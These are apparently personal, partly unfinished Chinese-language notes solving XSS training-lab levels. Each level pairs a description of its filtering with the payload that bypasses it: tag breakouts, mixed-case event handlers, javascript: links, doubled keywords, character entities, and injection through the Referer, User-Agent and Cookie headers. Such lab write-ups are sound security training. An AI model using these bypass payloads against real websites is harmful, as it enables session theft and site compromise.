注意:此处的回显是指我们注入的代码在服务器返回的源码中的位置,而不是指页面呈现的回显。
1. XSS-challenge靶场
-
第一关:无过滤和转义,回显处代码结构无限制,直接
<script>alert(document.domain)</script>
弹窗。 -
第二关:无过滤和转义,回显处代码结构有限制,通过
"><script>alert(document.domain)</script>
来绕过结构限制并弹窗。 -
第三关:表单输入input-p1有过滤转义尖括号等字符,第二个input-p2无过滤,且回显处代码结构无限制,通过Bp抓包,修改包里HTTP请求中post的参数p2为
<script>alert(document.domain)</script>
即可弹窗。 -
第四关::表单输入input-p1、input-p2都有转义尖括号等字符,input-p3则无过滤和转义,但回显处代码结构有限制,通过
"><script>alert(document.domain)</script><"
来绕过限制并弹窗。 -
第五关:
-
第六关:
-
第七关:
2. XSS闯关平台
-
第一关:无过滤和转义,回显处代码结构无限制,直接
<script>alert(document.domain)</script>
弹窗。 -
第二关:无过滤和转义,回显处代码结构有限制,通过
"><script>alert(document.domain)</script>
来绕过结构限制并弹窗。 -
第三关:转义了尖括号,双引号,回显处代码结构有限制,通过
' onmouseover='alert(/xss/)
来事件触发弹窗。 -
第四关:过滤了尖括号,回显处代码结构有限制,通过
" onmouseover="alert(/xss/)
来事件触发弹窗。 -
第五关:过滤大写、<script和on会被转义为<scr_ipt、o_n,回显处代码结构有限制,通过
"><a href="javascript:alert(/xss/)">click me</a>
来伪协议弹窗 -
第六关:<script、on、href会被转义为<scr_ipt、o_n、hr_ef,回显处代码结构有限制,但未过滤大写,
-
可通过
" OnmOUSeover="alert(/xss/)
来事件触发弹窗; -
可通过
"><a hREf="javascript:alert(/xss/)">click me</a>
弹窗
-
-
第七关:script等关键词及其大小写均被过滤,回显处代码结构有限制,通过
"><scrscriptipt>alert(/xss/)</scrscriptipt>
或" oonnmouseover="alert(/xss/)
来绕过结构限制和过滤并弹窗。 -
第八关:原回显处代码结构有限尖括号被转义,双引号被过滤,难以绕过。发现另一处回显位置,考虑伪协议触发弹窗,但Javascript会被转义为Javascr_ipt,故通过
javascript:alert(/xss/)
将c编码为字符实体后来伪协议弹窗 -
第九关:原回显处代码结构有限制,且过滤和转义太多难以绕过。发现另一处回显位置,考虑伪协议触发弹窗,但代码审计后发现,后端通过strpos()函数检查我们提交的内容里是否有'http://'字符,可通过
javascript:alert('http://')
绕过并伪协议弹窗。 -
第十关:原url里的keyword参数提交后的回显处被过滤太多难以绕过。发现另外三处隐藏的表单提交,参数分别是:t_link、t_history、t_sort。尝试后发现t_sort是有回显的,通过url提交
level10.php?t_sort=click me" type="button" onclick="alert(/xss/)
进行弹窗 -
第十一关:原url里的keyword参数提交后的回显处被过滤太多难以绕过。发现另外四处隐藏的表单提交参数分别是:t_link、t_history、t_sort、t_ref。其中后两个有回显,但t_sort处的回显过滤太多也难以绕过,观察测试t_ref后发现可以通过修改http请求的referer字段来修改t_ref的value值,故通过hackbar或Bp向HTTP请求头部添加
click me" type="button" onclick="alert(/xss/)
来弹窗。 -
第十二关:同第十一关,只是将referer头变为User-Agent头。
-
第十三关:同第十一关,只是将referer头变为Cookies头。
-
第十四关:利用Exif图片制造xss,属于极小众型XSS攻击,现实里成功几率不大,待研究。
-
第十五关:
-